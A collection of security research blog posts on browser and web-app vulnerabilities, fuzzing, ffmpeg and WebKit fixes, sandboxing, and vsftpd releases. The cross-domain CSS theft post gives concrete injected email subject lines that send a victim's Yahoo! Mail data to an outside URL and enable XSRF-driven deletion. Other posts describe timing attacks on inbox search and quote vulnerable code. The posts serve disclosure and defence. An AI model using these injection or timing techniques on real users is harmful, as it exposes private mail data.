3. Not an issue: We cannot seriously expect end users to make safe / dodgy distinctions based on any component of an URL. If we as a security community try and offload decisions like this on to end users, we're exhibiting basic misunderstandings. A case in point -- I just keynoted OWASP Stockholm with my colleague Ian Fette and he released an eye-opening statistic: 50% of users click through the phishing / malware interstitial in Google Chrome. Just to be clear, this is a dialog with a red background and a huge no-entry sign, with text such as "This website may harm your computer". Ouch, 50%, and that's a simple decision. It's time to stop suggesting users make complicated decisions based on URLs. The issue is becoming pretty moot with URL shorteners anyway.
4. Not an issue: It's very easy for attackers to register a domain name that sounds offical but is not. Time and time again, even relatively technical users fall for phishing scams simply because a bad domain looks vaguely official. This backs up the previous point about users understanding URLs nicely.

The fact is, it's really easy to get a user's browser to come into contact with untrusted bits. Malware ads would be one example; there are plenty of others.
If you want to be a productive member of the security community, please do the following things:

Desist from seizing upon minor issues and declaring them "critical" in order to get attention. You may get quoted by some clueless reporter, but you'll still be a third-rate security researcher.

Get involved in hardening web app frameworks, browsers and plug-ins such that they are robust in the face of malicious data. Users are going to be exposed to bad stuff. Help tackle the problem at the roots.

vsftpd HTTP lunacy!

2010-03-18T00:12:00.000-07:00

Ok, so I was bored and I added very very basic HTTP support to vsftpd. vsftpd is now perhaps the only FTP server to have an option ftp_enable=NO. Basically none of the HTTP protocol is implemented, but it might suffice for someone who is super-paranoid and needs to serve some static files over the HTTP protocol. The selling point is the re-use of vsftpd's tried-and-tested listener, string handling and built-in sandboxing.

The bits live at ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.0pre1.tar.gz

I cannot use the name vshttpd, because bizarrely a Google search indicates it as taken: http://sourceforge.net/projects/vshttpd/. I do not know what the "vs" stands for in that case.

As usual, the feature will live or die depending on the level of user enthusiasm shown.

Encouraging More Chromium Security Research

2010-01-28T15:38:00.001-08:00

I don't usually post non-original content here, but in this case I'll make an exception :) Here's one of the things I've been working on over in Chromium land:

http://blog.chromium.org/2010/01/encouraging-more-chromium-security.html

Will you be the first $1337 ?

Posting raw XML cross-domain

2010-01-10T19:33:00.000-08:00

I was recently stealing anti-XSRF tokens using the CSS design error I found. In the (unnamed for now) app I was exploiting, all the fun happens in XSRF-protected POST requests with an XML RPC protocol.

If you are good.com, then sending XML to yourself is easy - you can send arbitrary POST payloads using XHR. This of course is not an option from evil.com.

I'll document how I got around it. I didn't see anything similar with a bunch of Google queries, but I somehow doubt it's new. I'm sure I've missed an easier way, too - let me know. (Note that I set myself the goal of not involving plugins).

When submitting a <form> POST, there are three standard form encodings to choose from:

application/x-www-form-urlencoded - "All characters are encoded before sent (this is default)"

multipart/form-data - "No characters are encoded. This value is required when you are using forms that have a file upload control"

text/plain - "Spaces are converted to "+" symbols, but no special characters are encoded"

The first is clearly unsuitable because it does URL encoding. Critical XML characters such as < > " etc. will get mangled. The second sounds ideal because there is no character encoding... but... of course, multi-part POST bodies have the separator lines such as ------WebKitFormBoundary2eC9p3Z2xdIQfdTS, so are useless to us.

The final option will have to do. The encoding of space is not ideal but we could look into using a whitespace-free subset of XML. There's just one catch. The format of the POST body will be a series of name, value pairs:

name1=value1&name2=value2

The trick to save the day here is to use a single name / value pair and abuse the fact that XML is typically full of = characters. So imagine the following XML:

<element attribute="value">node text</element>

Bold and italic are used to show the name used (<element attribute) and the value ("value">node text</element>) respectively. Job done. We could also bury the = in a node value if we didn't want to use attributes.

But wait. The spec for the text/plain encoding type specifies that any spaces will be converted to + symbols. This will wreck the space between element name and attribute name and perhaps spoil our fun. It's now down to how the browsers behave. Curiously, it breaks down to WebKit browsers vs. non-WebKit browsers:

Opera, IE, Firefox: do not URL encode; do not replace space with +

Chrome, Safari: do URL encode; do replace space with +

So this trick will work on some browsers but not others. A note on the specifications for this: the most recent document is obviously the HTML5 draft. The relevant section mentions nothing about replacing spaces with + anymore, so either WebKit doesn't support text/plain or it is non-compliant:

http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#plain-text-form-data

Thanks to Michal Zalewski for being around to debate ideas!

"Logout XSRF" - significant web app bug?

2010-01-09T18:30:00.000-08:00

[Or "Logout CSRF" for search indexes; I seem to be addicted to the less common acronym ;-)]

Significant? No, of course not. It is a technical integrity violation inflicted upon good.com by evil.com. That's not ideal, and could be an annoyance. But there are some other interesting technicalities that can make it futile to defend against. They include:

Cookie forcing. A man-in-the-middle attacker can nuke the auth cookie, even though your session is https.

Cookie bombardment. There is no standard on how a browser should behave when a range of collaborating sites (e.g. *.evil.com) pile a load of cookies on to a browser. kuza55 documents the plausibility of this attack in Firefox and Opera and the Browser Security Handbook also alludes to this in Part2 under the heading "Problems with cookie jar size". Essentially *.evil.com could "LRU-out" the auth cookie of another site. I've not seen a definitive answer to whether IE8 has a global cookie max limit or not. Intriguingly, having one can be a problem as can not having one!

Generic cross-browser cross-domain theft

2009-12-28T18:22:00.000-08:00

Well, here's a nice little gem for the festive season. I like it for a few distinct reasons:

It's one of those cases where if you look at web standards from the correct angle, you can see a security vulnerability specified.

Accordingly, it affected all 5 major browsers. And likely the rest.

You can still be a theft victim even with plugins and JavaScript disabled!

It's much less serious than it could be because there are restrictions on the format of cross-domain data which can be stolen, and the attacker needs to be able to exercise limited control of the target theft page.
The issue is best introduced with an example. The example chosen is deliberately a little bit involved and not too severe. This is to give the upcoming browser updates a chance to get deployed.

Example: Yahoo! Mail cross-domain subject line theft and e-mail deletion

(It's important to note there is no apparent failing of the web app in question here).

Step 1: E-mail your victim@yahoo.com with the subject line ');}

Step 2: Wait a bit (assume that other e-mails are delivered to the victim at this time)

Step 3: E-mail your victim@yahoo.com with the subject line {}body{background-image:url('http://google.com/ and include in the body: PLEASE CLICK http://cevans-app.appspot.com/static/yahoocss.html

Step 4: Mild profit if the victim clicks the link.

If you set up the above scenario as a test, you might see something like this in an alert box upon clicking the link:


url(http://google.com/%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&amp;mid=1_3493_AGvHtEQAAWFgSgIzgAlWYQXHqDY&3=q%22%3ESuper%20sensitive%20subject%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&amp;mid=1_3933_AGTHtEQAAM%2FHSgIzawpE8Fwm1%2FI&5=x%22%3E)

The above text is stolen cross-domain, and the interesting pieces are highlighted in bold. The data includes the subjects, senders and "mid" value for all e-mails received between the two set-up e-mails we sent the victim.
Although leaking of subjects and senders is not ideal, it's the "mid" value that interests us most as an attacker. This would appear to be a secure / unguessable ID. Accordingly, it is reasonable for the mail application to rely on it as a distinct anti-XSRF token. This is indeed the case for the "delete" operation, implemented as a simple HTTP GET request. Interestingly, the "forward" operation seems to have an additional anti-XSRF token in the POST body, making the "mid" leak not nearly as serious as it could have been.

That's how this whole attack proceeds in its most powerful form: leak a small amount of text cross-domain, and then bingo! if the leaked text happens to include a global anti-XSRF token.

How does it work?

It works by abusing the standards relating to the loading of CSS style sheets. Approximately, the standards are:

Send cookies on any load of CSS, including cross-domain.

When parsing the returned CSS, ignore any amount of crap leading up to a valid CSS descriptor.

By controlling a little bit of text in the victim domain, the attacker can inject what appears to be a valid CSS string. It does not matter what proceeds this CSS string: HTML, binary data, JSON, XML. The CSS parser will ruthlessly hunt down any CSS constructs within whatever blob is pulled from the victim's domain. To the CSS parser, the text in the above attack looks like this:


(some HTML junk; whatever){} body{background-image:url('http://google.com/%3C/a...stolen stuff...')}(some trailing HTML junk)

So, the background of the attacker's page will be styled with a background image loaded from an URL, the path of which contains stolen data! One lovely twist of using a CSS string which is an URL is that it will be automatically fetched even if JavaScript is turned off! The stolen data is then harvested by the attacker from their web server logs.
Fortunately, there are various barriers to exploiting this:

Any newlines in the injected string break the CSS parse. This is a very common condition which stops potentially serious attacks.

CSS strings may be quoted within the ' or " characters. In a context where both of these are escaped (HTML escaped, URL escaped, whatever), it will not be possible to inject a CSS string.

The attacker needs control of two injection points: pre-string and post-string. For many sensitive pages, the attacker won't have sufficient influence over the page data via URL params or reflection of attacker data.

General areas that are more susceptible to this attack include:

JSON / XML feeds (common lack of newlines; no requirement to escape " (JSON strings) or ' (XML text nodes)).

Socially-related websites (the victim is always browsing attacker-controlled strings such as comments on their mundane photos, etc).

How do we fix it?

It would be nice to be able to not send cookies for cross-domain CSS loads; however that would certainly break stuff and it's hard to measure what without actually causing the breakage.

It would be nice to be strict on the MIME type when loading CSS resources -- if not globally then at least for cross-domain loads. But this breaks high profile sites, *cough* configure.dell.com and text/plain *cough*. (To be fair, it gets much worse with many sites even using text/html, application/octet-stream, it goes on).

A good balance is to require the alleged CSS to at least start with well-formed CSS, iff it is a cross-domain load and the MIME type is broken. This is the approach I used in my pending WebKit patch.

Note that fixing this issue also fixes my previous attack of using cross-domain CSS to reliably tell if someone is logged in or not:

http://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html

Credits

Aaron Sigel, for interesting discussions about using /* styled multi-line comments to bypass the newline restriction. Looks like it's not possible to recover comment text but we didn't test all the browsers.

Opera, for seemingly fixing this in v10.10 - although I don't know the exact heuristic used.

The WebKit and Mozilla communities for good feedback on approaches and patches.

Bypassing the intent of blocking "third-party" cookies

2009-12-22T20:53:00.000-08:00

[Aside: I'm not sure anyone cares, particularly because the "block third party cookies" option tends to break legitimate web sites. But I'll document it just in case :)]

Major browsers tend to have an option to block "third-party" cookies. The main intent of this is to disable tracking cookies used by iframe'd ads.

It turns out that you can bypass this intent by abusing "HTML5 Local Storage". This modern browser facility is present in (at least) Firefox 3.5, Safari 4 and even the normally-lagging IE8. Chrome 4 Beta has it too, making it well supported across all browsers and a more tempting target.

In concept, HTML5 Local Storage is very similar to cookies. On a per-origin basis, there is a set of disk-persisted name / value pairs.

With a simple test, it's easy to show that the HTML5 Local Storage feature is not affected by the third-party cookie setting. I believe this holds across all the above browsers. A simple test page that gets / sets a name / value pair from within a third-party iframe may be located here:

http://scary.beasts.org/misc/iframe_storage.html

(This page also tests for a similar situation with HTML5 Web Database, but that is so far a less supported standard).

What's interesting is that all these browsers did remember to disable these persisted databases in their various private modes.

Cross-domain search timing

2009-12-11T15:06:00.000-08:00

I've been meaning to fiddle around with timing attacks for a while. I've had various discussions in the past about the significance of login determination attacks (including ones I found myself) and my usual response would be "it's all moot -- the attacker could just use a timing attack". Finally, here's some ammo to support that position. And -- actual cross-domain data theft using just a timing attack, as a bonus.

Unfortunately, this is another case of the web being built upon broken specifications and protocols. There's nothing to stop domain evil.com referencing resources on some.sensitive.domain.com and timing how long the server takes to respond. For a GET request, a good bet is the <img> tag plus the onerror() / onload() events. For a POST request, you can direct the post to an <iframe> element and monitor the onload() event.

Why should an evil domain be able to read timing information from any other domain? Messy. Actually, it's even worse than that. Even if the core web model didn't fire the relevant event handles for cross-domain loads, there would still be trouble. The attacker is at liberty to monitor the performance of a bunch of busy-loops in Javascript. The attacker then frames or opens a new window for the HTML page they are interested in. When performance drops, the server likely responded. When performance goes up again, the client likely finished rendering. That's two events and actually a leak of more information that the pure-event case.

Moving on to something real. The most usable primitive that this gives the attacker is a 1-bit leak of information. i.e. was the request relatively fast or relatively slow? I have a little demo:

https://cevans-app.appspot.com/static/ymailtimings.html

It takes a few seconds, but if I'm not logged into Yahoo! Mail, I see:


DONE! 7 79 76 82

From the relatively flat timings of the last three timings (three different inbox searches) and the relative latency between the first number and the latter three, it's pretty clear I'm not logged in to Yahoo! Mail.

If I'm logged in, I see:


DONE! 10 366 414 539

This is where things get interesting. I am clearly logged in because of the significant server latency inherent in a text search within the inbox. But better still, the last three numbers represent searches for the words nosuchterm1234, sensitive and the. Even with a near-empty inbox, the server has at least a 40ms difference in minimum latency between a query for a word not in the index, and a query for a word in the index. (I mailed myself with sensitive in the subject to make a clear point).

There are many places to go from here. We have a primitive which can be used to ask cross-domain YES/NO questions about a victim's inbox. Depending on the power of the search we are abusing, we can ask all sorts of questions. e.g. "Has the victim ever mailed X?", "If so, within the past day?", "Does the word earnings appear in the last week?", "What about the phrase 'earnings sharply down'?" etc. etc. By asking the right YES/NO questions in the right order, you could reconstruct sentences.

It's important to note this is not a failing in any particular site. A particular site can be following current best practices and still be bitten by this. Fundamentally, many search operations on web sites are non-state-changing GETs or POSTSs and therefore do not need XSRF protection. The solution, of course, is to add it (and do the check before doing any work on the server like walking indexes)!

With thanks to Michal Zalewski for interesting debate and Christoph Kern for pointing out this ACM paper, which I haven't read but from the abstract it sounds like it covers some less serious angles of the same base attack.

vsftpd-2.2.2 released

2009-11-17T12:42:00.000-08:00

Just a quick note that I released vsftpd-2.2.2.
Most significantly, a regression was fixed in the inbuilt listener. Heavily loaded sites could see a session get booted out just after the initial connect. If you saw "500 OOPS: child died", that was probably this.

http://vsftpd.beasts.org/

A new fuzz frontier: packet boundaries

2009-11-02T22:22:00.000-08:00

Recently, I've been getting pretty behind on executing my various research ideas. The only sane thing to do is blog the idea in case someone else wants to run with it and pwn up a bunch of stuff.

The general concept I'd like to see explored is perhaps best explained with a couple of concrete bugs I have found and fixed recently:

Dimensions error parsing XBM image. Welcome to the XBM image format, a veritable dinosaur of image formats. It's a textual format and looks a bit like this:
```
#define test_width 8
#define test_height 14
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
```
The WebKit XBM parsing code includes this line, to extract the width and height:
```
        if (sscanf(&input[m_decodeOffset], "#define %*s %i #define %*s %i%n",
                   &width, &height, &count) != 2)
            return false;
```
The XBM parser supports streaming (making render progress before you have the full data available), including streaming in the header. i.e. the above code will attempt to extract width and height from a partial XBM, and retry with more data if it fails. So what happens if the first network packet contains an XBM fragment of exactly the first 42 bytes of the above example? This looks like:
```
#define test_width 8
#define test_height 1
```
I think you can see where this is going. The sscanf() sees two valid integers, and XBM decoding proceeds for an 8x1 image, which is incorrect. The real height, 14, had its ASCII representation fractured across a packet boundary.

Out-of-bounds read skipping over HTML comments. This is best expressed in terms of part of the patch I submitted to fix it:

--- WebCore/loader/TextResourceDecoder.cpp (revision 44821)
+++ WebCore/loader/TextResourceDecoder.cpp (working copy)
@@ -509,11 +509,13 @@ bool TextResourceDecoder::checkForCSSCha
 static inline void skipComment(const char*& ptr, const char* pEnd)
 {
     const char* p = ptr;
+    if (p == pEnd)
+      return;
     // Allow <!-->; other browsers do.
     if (*p == '>') {
         p++;
     } else {
-        while (p != pEnd) {
+        while (p + 2 < pEnd) {
             if (*p == '-') {
                 // This is the real end of comment, "-->".
                 if (p[1] == '-' && p[2] == '>') {

As can be seen, some simple bounds checking was missing. In order to trigger, the browser would need to find itself processing an HTML fragment ending in:

<!--

(Where "ending in" means not necessarily the end of the HTML, but the end of the HTML that we have received so far).

The general principle here? Software seems to have a lot of failure conditions with partial packets! This is unsurprising when you think about it; software is frequently trying to make progress based on partial information -- whether it's image or HTML parsers trying to show progress to the user, or network servers trying to extract a useful header or state transition from a short packet.
Typical fuzzing may not be able to trigger these conditions. I've certainly fuzzed image codecs using local files as inputs. This would never exercise partial packet code paths.
The best way to shake out these bugs is going to be to fuzz the packet boundaries at the same time as the packet data. Let me know if you find anything interesting :)

Chromium and Linux sandboxing

2009-10-19T23:03:00.000-07:00

It was great to talk to so many people about Chromium security at HITB Malaysia. I was quite amused to be at a security conference and have a lot of conversations like:

Me: What browser do you use?
Other: Google Chrome.
Me: Why is that?
Other: Oh, it's so much faster.
Me: Oh, you saw that awesome JSNES, huh? (http://benfirshman.com/projects/jsnes/)

It's a sobering reminder that users -- and even security experts -- are often making decisions on things like speed and stability. It was similar with vsftpd. I set out to build the most secure FTP server, but usage took off unexpectedly because of the speed and scalability.

Julien talked about his clever Linux sandboxing trick that is used in the Chromium Linux port. One component of the sandbox is an empty chroot() jail, but setting up such a jail is a pain on many levels. The problems and solutions are as follows:

chroot() needs root privilege. Therefore, a tiny setuid wrapper binary has been created to execute sandboxed renderer processes. Some people will incorrectly bleat and moan about any new setuid binary, but the irony is that is it required to make your browser more secure. Also, a setuid binary can be made small and careful. It will only execute a specific trusted binary (the Chromium renderer) inside an empty jail.

exec()ing something from inside an empty jail is hard, because your view of the filesystem is empty. You could include copies of the needed dynamic libraries or a static executable but both of these are a maintenance and packaging nightmare. This is where Julien's clever tweak comes in. By using the clone() flag CLONE_FS, and sharing the FS structure between a trusted / privileged thread and the exec()ed renderer, the trusted thread can call chroot() and have it affect the unprivileged, untrusted renderer process post-exec. Neat, huh?

Other tricks such as CLONE_NEWPID and CLONE_NEWNET are used or will be used to prevent sending of signals from a compromised renderer, and network access.

Finally, it is worth noting that sandboxing vs. risks on the web are widely misunderstood. The current Chromium sandbox mitigates Critical risk bugs to High risk bugs. This may be enhanced in the future. Since any bugs within the sandbox are still High risk, I of course take them very seriously and fix them as a priority. But, that lowering of a certain percentage of your bugs away from Critical risk is really key. The vast majority of web pwnage out there is enabled by Critical risk bugs (i.e. full compromise of user account => ability to install malware), so mitigating any of these down to High is a huge win. It's easy to get excited about any security bug, we as an industry really need to get more practical and concentrate on the ones actually causing damage.

Attacking this point from another angle: any complicated software will inevitably have bugs, and a certain subset of bugs are security bugs. Note that any web browser is certainly a complicated piece of software :) Therefore, any web browser is always going to be having security bugs. And indeed, IE, Opera, Firefox, Safari and Chrome are issuing regular security updates. For some reason, the media reports on each and every patch as if it is a surprising or relevant event. The real question, of course, is what you do in the face of the above realization. The Chromium story is two powerful mitigations: sandboxing to reduce severity away from Critical, and a very fast and agile update system to close any window of risk.

vsftpd-2.2.1 released

2009-10-18T21:17:00.000-07:00

Nothing too exciting, just two regressions fixed: "pasv_address" should work again, and SSL data connections should no longer fail after a long previous transfer or an extended idle period.

HITB Malaysia 2009 and sandboxing

2009-10-13T08:22:00.000-07:00

No time for details at the moment, but I'm just back from HITB Malaysia and a great time was had by all! The hospitality and warmth of the organizing crew surpassed anything I've ever encountered before.

I presented with my colleague Julien Tinnes. See awesome blog:

http://blog.cr0.org/

We presented on various intriguing aspects of sandboxing on Linux, covering vsftpd and Chromium as test cases. Our slides are located here:

Security in Depth for Linux Software

As per other presentations, I'll leave it at that for now and follow up with a mini series of posts for the more interesting points. I think vsftpd is well covered by previous posts, but Chromium on Linux is awesome and its built-in sandboxing deserves a few notes.

Patching ffmpeg into shape

2009-09-22T22:20:00.000-07:00

Preface: unless otherwise noted, the bugs discussed here were found via fuzzing by Will Dormann of CERT -- and my involvement was to fix them. In other news, I recently moved to work on the Chromium project / Google Chrome, which I'm very excited about. It is in this new role that this piece of work was conducted, as part of HTML5 features.

I recently fixed a lot of security bugs in ffmpeg, across a subset of the supported containers and codecs. The bugs represented a range of different C vulnerability classes, which I thought might make an interesting blog post.

Out-of-bounds array index read in vorbis_dec.c:
```
    mapping_setup->submap_floor[j]=get_bits(gb, 8);
    mapping_setup->submap_residue[j]=get_bits(gb, 8);
...
    floor=&vc->floors[mapping->submap_floor[0]];
...
    no_residue[i]=floor->decode(vc, &floor->data, ch_floor_ptr);
```
The index usage is far from where it is read, making this trickier to find by code auditing. Note how this is exploitable, despite being an out-of-bounds read. The out-of-bounds memory is used as a function pointer! It's easy to forget that out-of-bounds reads can be very serious.

Off-by-one indexing error in vp3.c:
```
            for (j = 0; j < run_length; i++) {
                if (i > s->coded_fragment_list_index)
                    return -1;

                if (s->all_fragments[s->coded_fragment_list[i]].qpi == qpi) {
```
The > should be >= otherwise there is an out-of-bounds read. In this instance, the out-of-bounds read is for an index that is used to read and write to another array, so you have possible memory corruption as a consequence.
Found by me with some additional fuzzing.

Interesting pointer arithmetic bug in oggparsevorbis.c:
```
    while (p < end && n > 0) {
        const char *t, *v;
        int tl, vl;

        s = bytestream_get_le32(&p);

        if (end - p < s)
            break;

        t = p;
        p += s;
```
The subtlety here is that bytestream_get_le32() advances the pointer passed to it, by sizeof(int). If the current position pointer p points to, say, 3 bytes of remaining buffer, then we have two problems. Firstly, the integer read will be compromised of one byte of out-of-bounds data. More seriously, the condition p > end will end up being true. Subsequently, a very large value of s may escape the check against end - p. This will lead to attacker-controlled out-of-bounds reads later.

Assignment vs. comparison operator mix-up in vorbis_dec.c:
```
    for(i=0;i<mapping->submaps;++i) {
        vorbis_residue *residue;
        uint_fast8_t ch=0;

        for(j=0;j<vc->audio_channels;++j) {
            if ((mapping->submaps==1) || (i=mapping->mux[j])) {
```
Do you see it? This is actually a serious bug because these loops are writing to an output heap buffer, and the loops have been carefully checked so that they will terminate before they overflow said buffer! Unfortunately, assigning to the loop iterator from an attacker-controlled variable will permit the attacker to conduct a heap overflow.
Found by me via code auditing.

Integer underflow leading to stack pointer wrap-around in vorbis_dec.c:
```
    uint_fast16_t n_to_read=vr->end-vr->begin;
    uint_fast16_t ptns_to_read=n_to_read/vr->partition_size;
    uint_fast8_t classifs[ptns_to_read*vc->audio_channels];
```
All sorts of interesting stuff going on here. For a start, missing validations parsing the header earlier do not prevent begin > end, leading to an integer underflow. Furthermore, uint_fast16_t on my platform at least is a 32-bit wide type. This enables the calculation for the size of the stack-based array to result in any 32-bit value too. On a 32-bit platform, this can result in the stack pointer wrapping around and moving "up" rather than "down". A usually exploitable condition. Even creating a huge (but non-wrap-causing) stack frame can have consequences depending on whether your system does a simple calculation on the stack pointer, or is more careful to fault each new page in case an end-of-stack guard page exists.

Integer underflow by 1 in mov.c:
```
static int mov_read_elst(MOVContext *c, ByteIOContext *pb, MOVAtom atom)
{
    MOVStreamContext *sc = c->fc->streams[c->fc->nb_streams-1]->priv_data;
...
            sc->time_offset = time != -1 ? time : -duration;
```
The problem here is that it is assumed that nb_streams > 0 but no such condition is guaranteed if the attacker supplies an "elst" tag before supplying any tag that creates a stream. The result is that a pointer is used from an out-of-bounds location. Use of any invalid or corrupt pointer is usually an exploitable condition, of course.

Type confusion bug in mov.c / utils.c:
(No code sample)
The most interesting bug in my opinion. It triggers when a corrupt ordering of tags in the MOV container sets up some variables such "codec type" is e.g. VIDEO whereas "codec id" is e.g. MP3. Subsequently, some core code passes a pointer to a stack-allocated video structure to the the mp3 decoder. The mp3 decoder, assuming it has a pointer to the (larger) audio structure, happily causes a stack-based buffer overflow. Cool.
Found by me with some additional fuzzing.

Other:
This blog post got too long. Other bug classes included divide by zero, infinite looping, stack-based buffer overflow due to missing bounds check, classic integer overflow, and likely others. See the patches if you are interested: http://src.chromium.org/viewvc/chrome/trunk/deps/third_party/ffmpeg/patches/

Epilogue: The potential for bugs like these is why Chromium runs codecs inside its built-in sandbox. Although bugs inside the sandbox are still taken seriously, there are no longer of "Critical" severity. The real user damage on the web at this time is conducted by malware exploiting "Critical" severity bugs in some browser or plug-in.

vsftpd-2.2.0 released

2009-08-12T19:36:00.000-07:00

Not much of interest to add beyond the interesting network isolation support previously discussed. Some minor bugs were fixed. A bunch of compile errors were addressed. There is now support for PAM modules which remap the underlying user account. There is also a new command-line option to pass config file options directly.

Apple ColorSync heap overflow

2009-08-05T23:11:00.001-07:00

Apple just released the Mac OS X 10.5.8 update, which includes security fixes:

http://support.apple.com/kb/HT3757

One of the fixes is for a heap-based buffer overflow in the ColorSync component (which handles the parsing of ICC profiles). Limited details are here:

http://scary.beasts.org/security/CESA-2009-011.html

This vulnerability could likely be used to execute arbitrary code in contexts such as Safari browsing to a malicious page. Mail clients (both web-based and local client based) might make an interesting target.

This was discovered because the test case for my earlier LittleCMS (lcms) vulnerabilities happens to crash Safari when you hit it:

https://cevans-app.appspot.com/static/CVE-2009-0733.jpg

Beware the little pieces you use in your web app

2009-07-10T21:55:00.000-07:00

I've just released the technical details behind some recently fixed vulnerabilities in mimetex:

http://scary.beasts.org/security/CESA-2009-009.html

"mimetex" is a little binary (written in the C language) used to render mathematical equations based on the TeX language. It looks very nice and is a cool concept to embed it in web apps. You can use a Google search to locate places that use it:

http://images.google.com/images?hl=en&q=inurl:mimetex.cgi

Unfortunately, the binary suffered from various classic stack-based buffer overflows as well as some commands that might leak inappropriate information.

So be careful what random little binaries and pieces you use to beef up your web app.

iPhone and Safari advisories

2009-07-10T20:53:00.000-07:00

Catching up on a few items. I seem to have gotten a mention in a couple of recent Apple advisories:

iPhone 3.0 security fixes

Safari 4.0.2

It's one of the Safari bugs that interests me today, CVE-2009-1725 or an off-by-one heap memory corruption in Webkit. The patch says it all, really:

http://trac.webkit.org/changeset/44799/trunk/WebCore/html/HTMLTokenizer.cpp

Here's the faulty code:


  checkBuffer(10);
  // ignore the sequence, add it to the buffer as plaintext
  *dest++ = '&';
  for (unsigned i = 0; i < cBufferPos; i++)
    dest[i] = m_cBuffer[i];

Turns out, that 10 should be an 11 so it is possible to write a semi user-controlled byte off-by-one off the end of a heap chunk. If you know what useful tricks you might do with that in the various heap implementations (Windows, Mac, Linux) -- please leave a comment.

Here's a demo HTML document:

https://cevans-app.appspot.com/static/webkitentityoffbyone.html

It tries to pad the HTML so that the errant byte is written off the end of the heap, instead of into buffer slack. Bear in mind that the most common symptom here is no symptom at all :) In Chrome / Windows, repeated refresh of that URL would occasionally render a random Asian character, but no crash.

vsftpd-2.2.0pre1 and network separation

2009-07-07T14:28:00.000-07:00

Following on from vsftpd-2.1.2, I've just released vsftpd-2.1.0pre1:

ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.1.0pre1.tar.gz

This further plays with the new Linux container flags: this time, CLONE_NEWNET. This flag creates a process with a separate (and empty) list of network devices and bindings. A process isolated in such a way can create network sockets but any attempt to e.g. do an IPv4 connect() to localhost (or any other destination) will get ENETUNREACH.

CLONE_NEWNET is a very new facility and is not yet generally available in Linux distributions. For example, Fedora 11 offers it whereas Ubuntu 9.04 does not.

When available, vsftpd uses CLONE_NEWNET for the unprivileged protocol handler processes (both pre- and post-login). This means a compromised handler process will no longer get access to sensitive networks such as localhost or behind the firewall. This is on top of existing restrictions on the filesystem, local processes and local IPC.

The use of CLONE_NEWNET does provide some design challenges -- fundamentally, the protocol handler needs to be able to connect() out to handle the PORT command. Also, the listening sockets handling PASV need access to network interfaces. vsftpd solves this by re-using its privileged helper architecture. The creation of any data channel network socket is now a privileged operation. The privileged side enforces that a connect() may only be performed back to the real FTP client machine. It hands the resulting socket to the unprivileged protocol handler which then gets to use it as normal since it is already bound to a real network interface and connected. I've checked that attempts to shutdown() and connect() such a socket result in EISCONN so hopefully there is no way to abuse the connected socket on the untrusted side to bypass the CLONE_NEWNET setup. Input welcome. This was fun :)

Clusterfuzzing

2009-06-18T17:01:00.001-07:00

I've just noticed that a Google search for "clusterfuzzing" (including the quotes) has no hits. Therefore, I'm reserving the term :) All I need now is a new fuzzing angle and then I've got all the makings of a great presentation!

Actually, I do have a new twist on fuzzing. All I need is the bugs. Watch this space!

Bonus Safari XXE (only affecting Safari 4 Beta)

2009-06-10T13:49:00.000-07:00

Here's another XXE bug for you (resulting in file theft), just to make the point that this class of bugs is well worth watching out for in client-side applications (such as a browser :)

http://scary.beasts.org/security/CESA-2009-007.html

The good news here is that this WebKit regression was quickly fixed by Apple -- and in time for the Safari 4 final release -- so no production browser should ever have been affected. Just the Safari 4 Beta.

Full credit here to Carlos Pizano who noticed the WebKit regression due to a collision with the Chrome sandbox. I just put together the Safari test case / demo:

https://cevans-app.appspot.com/static/safari4filetheft.xml

Apple's Safari 4 also fixes cross-domain XML theft

2009-06-09T13:22:00.001-07:00

Safari 4 also fixes an interesting cross-domain XML theft. Full technical details live here:

http://scary.beasts.org/security/CESA-2009-008.html

XML theft can include highly sensitive data thanks to things like XHTML, AJAX-y RPCs using XML and authenticated RSS feeds. The example I have steals XML representing a logged-in Gmail user's inbox:

Safari 3 demo for users logged in to Gmail

I think there's a lot more room for browser-based cross-domain leaks (sometimes called UXSS or universal XSS). This is because the pace of new browser features is very high, and lots more functionality is being added that involves reference by URI. Every such addition is a possible vector for a missing or incorrect (e.g. 302 redirect tricks) cross-domain check; or even an ill-advised specification-based cross-domain leak.

This is one of the serious Safari bugs demoed but not disclosed at my PacSec and HiTB Dubai presentations. I forgot to note that my previous post on file theft was another.

Apple's Safari 4 fixes local file theft attack

2009-06-08T17:12:00.000-07:00

Safari 4 was just released and among the various improvements is a range of security fixes. One of these fixes is for an XXE attack against the parsing of the XSL XML. Full technical details may be found here:

http://scary.beasts.org/security/CESA-2009-006.html

Or for the lazy, you can skip straight to the:

Demo for Safari 3 / MacOS
Demo for Safari 3 / Windows

I found it interesting that Safari 3 seemed robust against XXE attacks in general -- there are a lot of places that browsers find themselves parsing XML (XmlHttpRequest, prettifying XML mime type documents, SVG, E4X, etc.) However, the relatively obscure area of the XSL XML succumbed to an XXE attack.

(Note: awareness of XXE attacks remains low despite the issue being documented since at least 2002).

vsftpd-2.1.2 released and new security tricks

2009-05-29T15:53:00.000-07:00

(Note: v2.1.2 is the same as v2.1.1 but with a compile fix)

vsftpd-2.1.2 is released with full details as always on the vsftpd home page:

http://vsftpd.beasts.org/

For users, a couple of nasty regressions are fixed: SSL transfers would drop due to an errant timeout firing; this is now fixed. Also, an absent per-user config file was fine with v2.0.7 but an error in v2.1.0. v2.1.2 restores v2.0.7 behaviour.

For Linux developers / security types, there are a couple of much more interesting stories:

RLIMIT_NPROC support. Least interestingly, the unprivileged vsftpd processes limit their own ability to launch new processes. A compromise of such a process now does not get to cause a nuisance by flooding the system with more processes. In addition, privilege escalations via kernel bugs in the copious clone() API and involving subtle interactions between collaborating evil processes should be mitigated.

